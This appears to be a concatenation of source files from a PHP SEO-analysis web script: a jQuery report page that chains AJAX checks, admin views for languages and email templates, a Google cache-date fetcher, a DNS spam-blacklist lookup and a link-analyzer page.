initialScore(){ $("#passScore").css("width", passScore+'%'); $("#improveScore").css("width", improveScore+'%'); $("#errorScore").css("width", errorScore+'%'); } function updateScore(score){ if(score == 'passedbox'){ passScore = passScore+3; }else if(score == 'improvebox'){ improveScore = improveScore+3; }else{ errorScore = errorScore+3; } $("#passScore").css("width", passScore+'%'); $("#improveScore").css("width", improveScore+'%'); $("#errorScore").css("width", errorScore+'%'); $('.second.circle').circleProgress({ value: passScore / 100, animation: false }); $("#overallscore").html(passScore+'<i class="newI">'+scoreTxt+'</i>'); } $(".seoBox").on("click","a",function(event){ showSuggestion(showSuggestionBox); }); $("#seoBox4").on("click", ".showMore1", function(){ jQuery(".hideTr1").fadeIn(); jQuery(".showMore1").css({"display":"none"}); jQuery(".showLess1").css({"display":"block"}); return false; }); $("#seoBox4").on("click", ".showLess1", function(){ jQuery(".hideTr1").fadeOut(); jQuery(".showLess1").css({"display":"none"}); jQuery(".showMore1").css({"display":"block"}); var pos = $('.headingResult').offset(); $('body,html').animate({ scrollTop: pos.top },800); return false; }); $("#seoBox6").on("click", ".showMore2", function(){ jQuery(".hideTr2").fadeIn(); jQuery(".showMore2").css({"display":"none"}); jQuery(".showLess2").css({"display":"block"}); return false; }); $("#seoBox6").on("click", ".showLess2", function(){ jQuery(".hideTr2").fadeOut(); jQuery(".showLess2").css({"display":"none"}); jQuery(".showMore2").css({"display":"block"}); var pos = $('.altImgResult').offset(); $('body,html').animate({ scrollTop: pos.top },800); return false; }); $("#seoBox8").on("click", ".showMore3", function(){ jQuery(".hideTr3").fadeIn(); jQuery(".showMore3").css({"display":"none"}); jQuery(".showLess3").css({"display":"block"}); return false; }); $("#seoBox8").on("click", ".showLess3", function(){ jQuery(".hideTr3").fadeOut(); jQuery(".showLess3").css({"display":"none"}); jQuery(".showMore3").css({"display":"block"}); var pos = $('.keyConsResult').offset(); $('body,html').animate({ scrollTop: pos.top },800); return false; }); $("#seoBox13").on("click", ".showMore4", function(){ jQuery(".hideTr4").fadeIn(); jQuery(".showMore4").css({"display":"none"}); jQuery(".showLess4").css({"display":"block"}); return false; }); $("#seoBox13").on("click", ".showLess4", function(){ jQuery(".hideTr4").fadeOut(); jQuery(".showLess4").css({"display":"none"}); jQuery(".showMore4").css({"display":"block"}); var pos = $('.inPage').offset(); $('body,html').animate({ scrollTop: pos.top },800); return false; }); $("#seoBox14").on("click", ".showMore5", function(){ jQuery(".hideTr5").fadeIn(); jQuery(".showMore5").css({"display":"none"}); jQuery(".showLess5").css({"display":"block"}); return false; }); $("#seoBox14").on("click", ".showLess5", function(){ jQuery(".hideTr5").fadeOut(); jQuery(".showLess5").css({"display":"none"}); jQuery(".showMore5").css({"display":"block"}); var pos = $('.brokenLinks').offset(); $('body,html').animate({ scrollTop: pos.top },800); return false; }); $("#seoBox22").on("click", ".showMore6", function(){ jQuery(".hideTr6").fadeIn(); jQuery(".showMore6").css({"display":"none"}); jQuery(".showLess6").css({"display":"block"}); return false; }); $("#seoBox22").on("click", ".showLess6", function(){ jQuery(".hideTr6").fadeOut(); jQuery(".showLess6").css({"display":"none"}); jQuery(".showMore6").css({"display":"block"}); var pos = $('.whois').offset(); $('body,html').animate({ scrollTop: pos.top },800); return false; }); $(document).ready(function() { $("#pdfLink").click(function() { alert(pdfMsg); }); $(function () { $('[data-toggle="tooltip"]').tooltip() }); jQuery.get(axPath+'&getImage&site='+inputHost,function(data){ $("#screenshotData").html('<img src="data:image/jpeg;base64,'+data+'"/>'); }); updateProgress(1); var myArr = new Array(); initialScore(); $("a#pdfLink").attr("href", '#'); $.post(axPath,{meta:'1', metaOut:'1', hashcode:hashCode, url:inputHost},function(data){ myArr = data.split('!!!!8!!!!'); updateProgress(5); $("#seoBox1").html(myArr[0]); updateScore(document.getElementById("seoBox1").childNodes[0].className.toLowerCase()); $("#seoBox2").html(myArr[1]); updateScore(document.getElementById("seoBox2").childNodes[0].className.toLowerCase()); $("#seoBox3").html(myArr[2]); $("#seoBox5").html(myArr[3]); $.post(axPath,{heading:'1', headingOut:'1', hashcode:hashCode, url:inputHost},function(data){ $("#seoBox4").html(data); updateProgress(1); updateScore(document.getElementById("seoBox4").childNodes[0].className.toLowerCase()); $.post(axPath,{image:'1', loaddom:'1', hashcode:hashCode, url:inputHost},function(data){ $("#seoBox6").html(data); updateProgress(1); updateScore(document.getElementById("seoBox6").childNodes[0].className.toLowerCase()); $.post(axPath,{keycloud:'1', keycloudOut:'1', hashcode:hashCode, url:inputHost},function(data){ $("#seoBox7").html(data); updateProgress(1); $.post(axPath,{keyConsistency:'1', meta:'1', heading:'1', keycloud:'1', hashcode:hashCode, url:inputHost},function(data){ $("#seoBox8").html(data); updateProgress(1); updateScore(document.getElementById("seoBox8").childNodes[0].className.toLowerCase()); $.post(axPath,{textRatio:'1', hashcode:hashCode, url:inputHost},function(data){ $("#seoBox9").html(data); updateProgress(1); updateScore(document.getElementById("seoBox9").childNodes[0].className.toLowerCase()); $.post(axPath,{gzip:'1', hashcode:hashCode, url:inputHost},function(data){ $("#seoBox10").html(data); updateProgress(1); updateScore(document.getElementById("seoBox10").childNodes[0].className.toLowerCase()); $.post(axPath,{www_resolve:'1', hashcode:hashCode, url:inputHost},function(data){ $("#seoBox11").html(data); updateProgress(1); updateScore(document.getElementById("seoBox11").childNodes[0].className.toLowerCase()); $.post(axPath,{ip_can:'1', hashcode:hashCode, url:inputHost},function(data){ $("#seoBox12").html(data); updateProgress(1); updateScore(document.getElementById("seoBox12").childNodes[0].className.toLowerCase()); $.post(axPath,{in_page:'1', loaddom:'1', inPageoutput:'1', hashcode:hashCode, url:inputHost},function(data){ updateProgress(3); myArr = data.split('!!!!8!!!!'); $("#seoBox13").html(myArr[0]); updateScore(document.getElementById("seoBox13").childNodes[0].className.toLowerCase()); $("#seoBox17").html(myArr[1]); updateScore(document.getElementById("seoBox17").childNodes[0].className.toLowerCase()); $("#seoBox18").html(myArr[2]); updateScore(document.getElementById("seoBox18").childNodes[0].className.toLowerCase()); $.post(axPath,{in_page:'1', loaddom:'1', brokenlinks:'1', hashcode:hashCode, url:inputHost},function(data){ $("#seoBox14").html(data); updateProgress(1); updateScore(document.getElementById("seoBox14").childNodes[0].className.toLowerCase()); });//End of Broken Links $.post(axPath,{sitemap:'1', hashcode:hashCode, url:inputHost},function(data){ $("#seoBox15").html(data); updateProgress(1); updateScore(document.getElementById("seoBox15").childNodes[0].className.toLowerCase()); $.post(axPath,{robot:'1', hashcode:hashCode, url:inputHost},function(data){ $("#seoBox16").html(data); updateProgress(1); updateScore(document.getElementById("seoBox16").childNodes[0].className.toLowerCase()); $.post(axPath,{embedded:'1', loaddom:'1', hashcode:hashCode, url:inputHost},function(data){ $("#seoBox19").html(data); updateProgress(1); updateScore(document.getElementById("seoBox19").childNodes[0].className.toLowerCase()); $.post(axPath,{iframe:'1', loaddom:'1', hashcode:hashCode, url:inputHost},function(data){ $("#seoBox20").html(data); updateProgress(1); updateScore(document.getElementById("seoBox20").childNodes[0].className.toLowerCase()); $.post(axPath,{whois:'1', hashcode:hashCode, url:inputHost},function(data){ myArr = data.split('!!!!8!!!!'); $("#seoBox21").html(myArr[0]); $("#seoBox22").html(myArr[1]); updateProgress(2); $.post(axPath,{indexedPages:'1', hashcode:hashCode, url:inputHost},function(data){ $("#seoBox42").html(data); updateProgress(1); updateScore(document.getElementById("seoBox42").childNodes[0].className.toLowerCase()); $.post(axPath,{backlinks:'1', hashcode:hashCode, url:inputHost},function(data){ updateProgress(3); myArr = data.split('!!!!8!!!!'); $("#seoBox43").html(myArr[0]); updateScore(document.getElementById("seoBox43").childNodes[0].className.toLowerCase()); $("#seoBox45").html(myArr[1]); $("#seoBox46").html(myArr[2]); $.post(axPath,{urlLength:'1', hashcode:hashCode, url:inputHost},function(data){ updateProgress(2); myArr = data.split('!!!!8!!!!'); $("#seoBox26").html(myArr[0]); updateScore(document.getElementById("seoBox26").childNodes[0].className.toLowerCase()); $("#seoBox27").html(myArr[1]); $.post(axPath,{errorPage:'1', hashcode:hashCode, url:inputHost},function(data){ $("#seoBox28").html(data); updateProgress(1); updateScore(document.getElementById("seoBox28").childNodes[0].className.toLowerCase()); $.post(axPath,{pageLoad:'1', hashcode:hashCode, url:inputHost},function(data){ updateProgress(3); myArr = data.split('!!!!8!!!!'); $("#seoBox29").html(myArr[0]); updateScore(document.getElementById("seoBox29").childNodes[0].className.toLowerCase()); $("#seoBox30").html(myArr[1]); updateScore(document.getElementById("seoBox30").childNodes[0].className.toLowerCase()); $("#seoBox31").html(myArr[2]); updateScore(document.getElementById("seoBox31").childNodes[0].className.toLowerCase()); $.post(axPath,{pageSpeedInsightChecker:'1', hashcode:hashCode, url:inputHost},function(data){ updateProgress(2); myArr = data.split('!!!!8!!!!'); $("#seoBox48").html(myArr[0]); $("#seoBox49").html(myArr[1]); updateScore(document.getElementById("seoBox48").childNodes[0].className.toLowerCase()); updateScore(document.getElementById("seoBox49").childNodes[0].className.toLowerCase()); $.post(axPath,{availabilityChecker:'1', hashcode:hashCode, url:inputHost},function(data){ updateProgress(2); myArr = data.split('!!!!8!!!!'); $("#seoBox32").html(myArr[0]); $("#seoBox33").html(myArr[1]); $.post(axPath,{emailPrivacy:'1', hashcode:hashCode, url:inputHost},function(data){ updateProgress(1); $("#seoBox34").html(data); updateScore(document.getElementById("seoBox34").childNodes[0].className.toLowerCase()); $.post(axPath,{safeBrowsing:'1', hashcode:hashCode, url:inputHost},function(data){ $("#seoBox35").html(data); updateProgress(1); updateScore(document.getElementById("seoBox35").childNodes[0].className.toLowerCase()); $.post(axPath,{mobileCheck:'1', hashcode:hashCode, url:inputHost},function(data){ myArr = data.split('!!!!8!!!!'); $("#seoBox23").html(myArr[0]); updateScore(document.getElementById("seoBox23").childNodes[0].className.toLowerCase()); $("#seoBox24").html(myArr[1]); updateProgress(2); $.post(axPath,{mobileCom:'1', loaddom:'1', hashcode:hashCode, url:inputHost},function(data){ $("#seoBox25").html(data); updateProgress(1); updateScore(document.getElementById("seoBox25").childNodes[0].className.toLowerCase()); $.post(axPath,{serverIP:'1', hashcode:hashCode, url:inputHost},function(data){ $("#seoBox36").html(data); updateProgress(1); $.post(axPath,{speedTips:'1', hashcode:hashCode, url:inputHost},function(data){ $("#seoBox37").html(data); updateProgress(1); updateScore(document.getElementById("seoBox37").childNodes[0].className.toLowerCase()); $.post(axPath,{docType:'1', hashcode:hashCode, url:inputHost},function(data){ updateProgress(2); myArr = data.split('!!!!8!!!!'); $("#seoBox38").html(myArr[0]); updateScore(document.getElementById("seoBox38").childNodes[0].className.toLowerCase()); $("#seoBox40").html(myArr[1]); updateScore(document.getElementById("seoBox40").childNodes[0].className.toLowerCase()); $.post(axPath,{w3c:'1', hashcode:hashCode, url:inputHost},function(data){ $("#seoBox39").html(data); updateProgress(1); $.post(axPath,{encoding:'1', hashcode:hashCode, url:inputHost},function(data){ $("#seoBox41").html(data); updateProgress(1); updateScore(document.getElementById("seoBox41").childNodes[0].className.toLowerCase()); $.post(axPath,{socialData:'1', hashcode:hashCode, url:inputHost},function(data){ $("#seoBox44").html(data); updateProgress(1); $.post(axPath,{visitorsData:'1', hashcode:hashCode, url:inputHost},function(data){ updateProgress(100); $("#seoBox47").html(data); $("a#pdfLink").attr("href", pdfUrl); $('#pdfLink').unbind('click'); $('#progress-bar').fadeOut(); $.post(axPath,{cleanOut:'1', passscore:passScore, improvescore:improveScore, errorscore:errorScore, hashcode:hashCode, url:inputHost},function(data){ });//End Statement });//End of PageSpeed Insights });//End of Visitors Localization });//End of Social Data });//End of Backlink Counter / Traffic / Worth });//End of Indexed Pages });//End of Encoding Type });//End of W3C Validity });//End of Analytics & Doc Type });//End of Speed Tips });//End of Server IP });//End of Safe Browsing });//End of Email Privacy Checker });//End of Domain & Typo Availability Checker });//End of Page Size / Load Time / Language });//End of Custom 404 Page });//End of URL Length & Favicon });//End of Mobile Compatibility });//End of Mobile Friendly Test });//End of WHOIS Data });//End of Iframe });//End of Embedded Object });//End of XML Sitemap });//End of Robots.txt });//End of In-Page Links });//End of IP Canonicalization });//End of WWW Resolve });//End of Gzip });//End of Text/HTML Ratio });//End of Keywords Consistency });//End of Keywords Cloud });//End of Image Tag });//End of Heading Tag });//End of Meta Tag });//End of Main Statement<file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright 2018 ProThemes.Biz * */ ?> <style> @media only screen and (min-width: 600px) { .table-responsive { overflow-x: hidden; } } </style> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title"><?php echo $subTitle; ?></h3> <?php if($pointOut == 'edit') { ?> <div style="position:absolute; top:4px; right:15px;"> <a class="btn btn-primary btn-sm" href="<?php adminLink($controller.'/add-custom-text/'.$args[0]); ?>"><i class="fa fa-plus-square-o"></i> &nbsp; Add Custom Text</a> <a class="btn btn-danger btn-sm" href="<?php adminLink($controller.'/backup/'.$args[0]); ?>"><i class="fa fa-download"></i> &nbsp; Backup Language</a> </div> <?php } elseif($pointOut == '') { ?> <div style="position:absolute; top:4px; right:15px;"> <a class="btn btn-success btn-sm" href="<?php adminLink($controller.'/add'); ?>"><i class="fa fa-plus"></i> &nbsp; Create New Language</a> <a class="btn btn-primary btn-sm" href="<?php adminLink($controller.'/add-custom-text'); ?>"><i class="fa fa-plus-square-o"></i> &nbsp; Add Custom Text</a> <a class="btn btn-warning btn-sm" href="<?php adminLink($controller.'/import'); ?>"><i class="fa fa-upload"></i> &nbsp; Import Language</a> </div> <?php } ?> </div><!-- /.box-header ba-la-ji --> <form action="#" method="POST" <?php if($pointOut == 'import') { echo 'enctype="multipart/form-data"';} ?>> <div class="box-body"> <?php if(isset($msg)) echo $msg; ?><br /> <?php if($pointOut == 'edit'){ ?> <div class="box-header with-border"> <h3 class="box-title">General Settings</h3> </div> <br /> <div class="table-responsive"> <table class="table table-bordered table-striped"> <tbody> <tr> <td><label for="language_name" class="newCenter">Language Name:</label></td> <td><input required="required" value="<?php echo $generalLangSet[3]; ?>" type="text" placeholder="Type language name" name="language_name" id="language_name" class="form-control" /></td> </tr> <tr> <td><label for="language_code" class="newCenter">Language Code: </label></td> <td><input required="required" value="<?php echo $generalLangSet[2]; ?>" maxlength="2" type="text" placeholder="Type language code" id="language_code" name="language_code" class="form-control" /></td> </tr> <tr> <td><label class="newCenter">Hreflang Attribute: </label></td> <td><input value="<?php echo $generalLangSet[7]; ?>" maxlength="6" type="text" placeholder="Type hreflang attribute" name="hreflang" class="form-control" /></td> </tr> <tr> <td><label for="sort_order" class="newCenter">Sort Order:</label></td> <td><input type="text" name="sort_order" id="sort_order" value="<?php echo $generalLangSet[0]; ?>" class="form-control"/></td> </tr> <tr> <td><label for="direction" class="newCenter">Text Direction:</label></td> <td><select name="direction" class="form-control"> <option <?php isSelected($generalLangSet[6], true, 1, 'ltr'); ?> value="ltr">Left to Right</option> <option <?php isSelected($generalLangSet[6], true, 1, 'rtl'); ?> value="rtl">Right to Left</option> </select></td> </tr> <tr> <td><label for="status" class="newCenter">Status:</label></td> <td><select name="status" class="form-control"> <option <?php isSelected($generalLangSet[5], true, 1); ?> value="1">Enabled</option> <option <?php isSelected($generalLangSet[5], false, 1); ?> value="0">Disabled</option> </select></td> </tr> </tbody> </table> </div> <br /> <div class="box-header with-border"> <h3 class="box-title">Language Data</h3> </div> <br /> <div class="table-responsive"> <table class="table table-hover table-bordered"> <thead> <th>UID</th> <th>Default String</th> <th><?php echo strtoupper($args[0]); ?> Language String</th> </thead> <tbody> <?php foreach($langDataArr as $langVal){ if(strlen($langVal[2]) < 150) $row = 2; elseif(strlen($langVal[2]) < 250) $row = 4; elseif(strlen($langVal[2]) < 450) $row = 6; elseif(strlen($langVal[2]) < 650) $row = 8; else $row = 10; echo '<tr><td style="width: 140px;">'.$langVal[1].'</td><td>'.$langVal[2].'</td> <td><textarea name="'.$langVal[0].'" id="'.$langVal[0].'" class="form-control" cols="2000" rows="'.$row.'">'.$langVal[3].'</textarea></td></tr>'; }?> </tbody> </table> </div> <br /> <div class="text-center"> <input type="submit" value="Save" class="btn btn-primary btn-lg"/> <a class="btn btn-danger btn-lg" href="<?php adminLink($controller); ?>">Cancel</a> </div> <br /> <br /> <?php } elseif($pointOut == 'add'){ ?> <div class="form-group"> <label for="language_name">Language Name</label> <input required="required" type="text" placeholder="Type language name" name="language_name" id="language_name" class="form-control" /> </div> <div class="form-group"> <label for="language_code">Language Code <small> ( 2 Letter <span style="color: #e74c3c;">ISO 639-1</span> Language Code - <a target="_blank" rel="nofollow" href="http://www.w3schools.com/tags/ref_language_codes.asp">Reference</a> )</small></label> <input required="required" maxlength="2" type="text" placeholder="Type language code" id="language_code" name="language_code" class="form-control" /> </div> <div class="form-group"> <label>Hreflang Attribute <small> ( <a target="_blank" rel="nofollow" href="https://moz.com/learn/seo/hreflang-tag">More information</a> )</small></label> <input maxlength="6" type="text" placeholder="Type hreflang attribute (General targeting with x-default)" name="hreflang" class="form-control" /> </div> <div class="form-group"> <label for="language_author">Your Name</label> <input type="text" placeholder="Type your name" id="language_author" name="language_author" class="form-control" /> </div> <div class="form-group"> <label for="direction">Text Direction</label> <select name="direction" class="form-control"> <option selected="" value="ltr">Left to Right</option> <option value="rtl">Right to Left</option> </select> </div> <div class="form-group"> <label for="status">Status</label> <select name="status" class="form-control"> <option selected="" value="1">Enabled</option> <option value="0">Disabled</option> </select> </div> <br /> <input type="submit" name="save" value="Create Language File" class="btn btn-primary"/> <a class="btn btn-danger" href="<?php adminLink($controller); ?>">Cancel</a> <br /> <br /> <?php } elseif($pointOut == 'add-custom-text'){ ?> <div class="form-group"> <label for="csnumber">UID</label> <input type="text" readonly="" id="csnumber" name="csnumber" value="<?php echo $customNumber; ?>" class="form-control" /> </div> <div class="form-group"> <label for="default_string">Default String</label> <input required="required" type="text" placeholder="Type your text" id="default_string" name="default_string" class="form-control" /> </div> <br /> <input type="submit" name="save" value="Add" class="btn btn-primary"/> <a class="btn btn-danger" href="<?php adminLink($controller); ?>">Cancel</a> <br /> <br /> <?php } elseif($pointOut == 'import'){ ?> <div class="form-group text-center"> <label for="langID">Select language file to upload:</label> <div class="controls"> <input type="file" name="langUpload" id="langUpload" class="btn btn-default" style=" display: inline-block;" /> <input type="hidden" name="langID" id="langID" value="1" /> <br /> <br /> <label class="checkbox-inline"><input type="checkbox" name="customStr" />Include Custom Language Strings ?</label> <br /> <br /> <button type="submit" class="btn btn-warning"><i class="fa fa-upload"></i> Import</button> </div> <!-- /controls --> </div> <!-- /control-group --> <?php } else { ?> <div class="table-responsive"> <table class="table table-hover table-bordered table-striped"> <thead> <th>Sort Order</th> <th>Language Code</th> <th>Language Name</th> <th>Author</th> <th>Status</th> <th>Actions</th> </thead> <tbody> <?php foreach($allLangs as $langVal){ echo '<tr> <td style="width: 100px;">'.$langVal[0].'</td> <td>'.strtoupper($langVal[2]).'</td> <td>'.$langVal[3].'</td> <td>'.$langVal[4].'</td> <td>'.($langVal[5] ? '<a href="'.adminLink($controller.'/status/disable/'.$langVal[2],true).'" class="label label-success">Enabled</a>' : '<a href="'.adminLink($controller.'/status/enable/'.$langVal[2],true).'" class="label label-danger">Disabled</a>').'</td> <td style="width: 200px;"> <a class="btn btn-info btn-xs" href="'.adminLink($controller.'/edit/'.$langVal[2],true).'" title="Edit Language "><i class="fa fa-edit"></i> Edit</a> <a class="btn btn-success btn-xs" href="'.createLink($langVal[2],true).'" target="_blank" title="Preview your website with this language"><i class="fa fa-external-link"></i> Preview</a> <a class="delete btn btn-danger btn-xs" data-confirm="Are you sure you want to delete this item?" href="'.adminLink($controller.'/delete/'.$langVal[2],true).'" title="Delete Language"><i class="fa fa-trash-o"></i> Delete</a> </td> </tr>'; }?> </tbody> </table> </div> <?php } ?> <br /> </div><!-- /.box-body --> </form> </div><!-- /.box --> </section><!-- /.content --> </div><!-- /.content-wrapper --><file_sep><?php /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @copyright © 2017 ProThemes.Biz * */ function googleCache($url) { $googleCacheUrl = 'http://webcache.googleusercontent.com'; $query = 'hl=en&q=' . 'cache:' . urlencode($url) . '&strip=1'; $url = $googleCacheUrl . '/search?' . $query; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); curl_setopt($ch, CURLOPT_HEADER, false); $html = curl_exec($ch); curl_close($ch); if (!is_string($html) || !strlen($html)) { return false; } $dateExplode = explode("appeared on",$html); $dateExplode = explode("GMT",$dateExplode[1]); $cacheDate = trim($dateExplode[0]); if($cacheDate != ""){ $cacheDate = $cacheDate .' GMT'; } return $cacheDate; } ?><file_sep><?php /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @copyright 2020 ProThemes.Biz * */ function dnsblookup($ip) { $outArr = array(); $dnsbl_lookup = array( "dnsbl-1.uceprotect.net", "dnsbl-2.uceprotect.net", "dnsbl-3.uceprotect.net", "dnsbl.dronebl.org", "dnsbl.sorbs.net", "spam.dnsbl.sorbs.net", "bl.spamcop.net", "recent.dnsbl.sorbs.net", "all.spamrats.com", "b.barracudacentral.org", "bl.blocklist.de", "bl.mailspike.org", "bl.spamcop.net", "cblplus.anti-spam.org.cn", "dnsbl.anticaptcha.net", "ip.v4bl.org", "fnrbl.fast.net", "dnsrbl.swinog.ch", "mail-abuse.blacklist.jippg.org", "singlebl.spamgrouper.com", "spam.abuse.ch", "spamsources.fabel.dk", "virbl.dnsbl.bit.nl", "cbl.abuseat.org", "dnsbl.justspam.org", "zen.spamhaus.org"); // Add your preferred list of DNSBL's $reverse_ip = implode(".", array_reverse(explode(".", $ip))); foreach ($dnsbl_lookup as $host) { if (checkdnsrr($reverse_ip . "." . $host . ".", "A")) { $outArr[] = array($host,1); $listed = 1; }else{ $outArr[] = array($host,2); } } if($listed) $overall = 1; else $overall = 2; return array($outArr,$overall); } <file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name A to Z SEO Tools v2 - PHP Script * @copyright © 2017 ProThemes.Biz * */ ?> <style> .percentbox { text-align: center; font-size: 18px; } .percentimg { text-align: center; display: none; } #resultBox{ display:none; } </style> <script> var msgDomain = "<?php makeJavascriptStr($lang['330'],true); ?>"; var msgTab1 = "<?php makeJavascriptStr($lang['46'],true); ?>"; var msgTab2 = "<?php makeJavascriptStr($lang['149'],true); ?>"; var msgTab3 = "<?php makeJavascriptStr($lang['321'],true); ?>"; </script> <script src='<?php createLink('core/library/googlecache.js',false,true); ?>'></script> <div class="container main-container"> <div class="row"> <?php if($themeOptions['general']['sidebar'] == 'left') require_once(THEME_DIR."sidebar.php"); ?> <div class="col-md-8 main-index"> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <h2 id="title"><?php echo $data['tool_name']; ?></h2> <div id="mainbox"> <?php if ($pointOut != 'output') { ?> <br /> <p><?php echo $lang['320']; ?> </p> <textarea class="form-control" name="linksBox" id="linksBox" rows="3" style="height: 270px;"></textarea> <input type="hidden" id="authCode" value="<?php echo $secKey.$secVal; ?>" /> <br /> <?php if ($toolCap) echo $captchaCode; ?> <div class="text-center"> <a class="btn btn-info" style="cursor:pointer;" id="checkButton"><?php echo $lang['8']; ?></a> </div> </div> <?php } ?> <div id="resultBox"> <div class="percentimg"> <img src="<?php themeLink('img/load.gif'); ?>" /> <br /> <?php echo $lang['146']; ?>... <br /> </div> <div id="results"></div> <div class="text-center"> <br /> &nbsp; <br /> <a class="btn btn-info" href="<?php echo $toolURL; ?>"><?php echo $lang['27']; ?></a> <br /> </div> </div> <br /> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <h2 id="sec1" class="about_tool"><?php echo $lang['11'].' '.$data['tool_name']; ?></h2> <p> <?php echo $data['about_tool']; ?> </p> <br /> </div> <?php if($themeOptions['general']['sidebar'] == 'right') require_once(THEME_DIR."sidebar.php"); ?> </div> </div> <br /><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ $fullLayout = 1; $pageTitle = 'Email Templates'; $subTitle = 'Templates'; $footerAdd = true; $mailTemplates = true; $footerAddArr = array(); if ($_SERVER['REQUEST_METHOD'] == 'POST') { if (isset($_POST['activation'])) { $activationMail = base64_encode(raino_trim($_POST['activation'])); $activationSub = base64_encode(raino_trim($_POST['activationSub'])); $query = "UPDATE mail_templates SET subject='$activationSub', body='$activationMail' WHERE code='account_activation'"; if (!mysqli_query($con, $query)) $msg = errorMsgAdmin('Something Went Wrong!'); else $msg = successMsgAdmin('Mail updated successfully'); } if (isset($_POST['password'])) { $passwordMail = base64_encode(raino_trim($_POST['password'])); $passwordSub = base64_encode(raino_trim($_POST['passwordSub'])); $query = "UPDATE mail_templates SET subject='$passwordSub', body='$passwordMail' WHERE code='password_reset'"; if (!mysqli_query($con, $query)) $msg = errorMsgAdmin('Something Went Wrong!'); else $msg = successMsgAdmin('Mail updated successfully'); } } $query = 'SELECT * FROM mail_templates'; $result = mysqli_query($con,$query); while($row = mysqli_fetch_array($result)) { $code = Trim($row['code']); if($code == 'account_activation'){ $activationSub = html_entity_decode(base64_decode($row['subject'])); $activationMail = html_entity_decode(base64_decode($row['body'])); } if($code == 'password_reset'){ $passwordSub = html_entity_decode(base64_decode($row['subject'])); $passwordMail = html_entity_decode(base64_decode($row['body'])); } } ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name A to Z SEO Tools v2 - PHP Script * @copyright © 2017 ProThemes.Biz * */ $rawData = ''; ?> <div class="container main-container"> <div class="row"> <?php if($themeOptions['general']['sidebar'] == 'left') require_once(THEME_DIR."sidebar.php"); ?> <div class="col-md-8 main-index"> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <h2 id="title"><?php echo $data['tool_name']; ?></h2> <?php if ($pointOut != 'output') { ?> <br /> <p><?php echo $lang['23']; ?> </p> <form method="POST" action="<?php echo $toolOutputURL;?>" onsubmit="return fixURL();"> <input type="text" name="url" id="url" value="" class="form-control"/> <br /> <?php if ($toolCap) echo $captchaCode; ?> <input class="btn btn-info" type="submit" value="<?php echo $lang['8']; ?>" name="submit"/> </form> <?php } else { //Output Block if(isset($error)) { echo '<br/><br/><div class="alert alert-error"> <strong>Alert!</strong> '.$error.' </div><br/><br/> <div class="text-center"><a class="btn btn-info" href="'.$toolURL.'">'.$lang['12'].'</a> </div><br/>'; } else { ?> <br /> <table class="table table-bordered table-striped"> <thead> <tr> <td><?php echo $lang['46']; ?></td> <td><?php echo $lang['47']; ?></td> </tr> </thead> <tbody> <tr> <td><strong><?php echo $lang['48']; ?></strong></td> <td><span class="badge bg-blue"><?php echo $total_links; ?></span></td> </tr> <tr> <td><strong><?php echo $lang['49']; ?></strong></td> <td><span class="badge bg-green"><?php echo $internal_links_count; ?></span></td> </tr> <tr> <td><strong><?php echo $lang['50']; ?></strong></td> <td><span class="badge bg-purple"><?php echo $external_links_count; ?></span></td> </tr> <tr> <td><strong><?php echo $lang['51']; ?></strong></td> <td><span class="badge bg-orange"><?php echo $total_nofollow_links; ?></span></td> </tr> </tbody> </table> <br /> <h3><?php echo $lang['49']; ?> <small><?php echo $lang['52']; ?></small></h3><br /> <table class="table table-bordered table-responsive"> <thead> <tr> <td>No.</td> <td><?php echo $lang['53']; ?></td> <td><?php echo $lang['54']; ?></td> </tr> </thead> <tbody> <?php $rawData .= $lang['49']."\n"."\n"; $rawData .= 'No.,'.$lang['53'].','.$lang['54']."\n"; foreach($internal_links as $count=>$links) { $rawData .= $count .','.$links['href'].','.$links['follow_type']."\n"; ?> <tr> <td><?php echo $count; ?></td> <td><?php echo $links['href']; ?></td> <td><?php echo $links['follow_type']; ?></td> </tr> <?php } ?> </tbody></table> <br /> <h3><?php echo $lang['50']; ?> <small><?php echo $lang['55']; ?></small></h3><br /> <table class="table table-bordered table-responsive"> <thead> <tr> <td>No.</td> <td><?php echo $lang['53']; ?></td> <td><?php echo $lang['54']; ?></td> </tr> </thead> <tbody> <?php $rawData .= "\n"."\n".$lang['50']."\n"; $rawData .= 'No.,'.$lang['53'].','.$lang['54']."\n"; foreach($external_links as $count=>$links) { $rawData .= $count .','.$links['href'].','.$links['follow_type']."\n"; ?> <tr> <td><?php echo $count; ?></td> <td><?php echo $links['href']; ?></td> <td><?php echo $links['follow_type']; ?></td> </tr> <?php } ?> </tbody></table> <textarea class="hide" id="rawData"><?php echo $rawData; ?></textarea> <div class="text-center"> <br /> &nbsp; <br /> <button onclick="saveAsFile()" class="btn btn-danger"><i class="fa fa fa-cloud-download"></i> Export as CSV</button> <a class="btn btn-info" href="<?php echo $toolURL; ?>"><?php echo $lang['27']; ?></a> <br /> </div> <?php } } ?> <br /> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <h2 id="sec1" class="about_tool"><?php echo $lang['11'].' '.$data['tool_name']; ?></h2> <p> <?php echo $data['about_tool']; ?> </p> <br /> 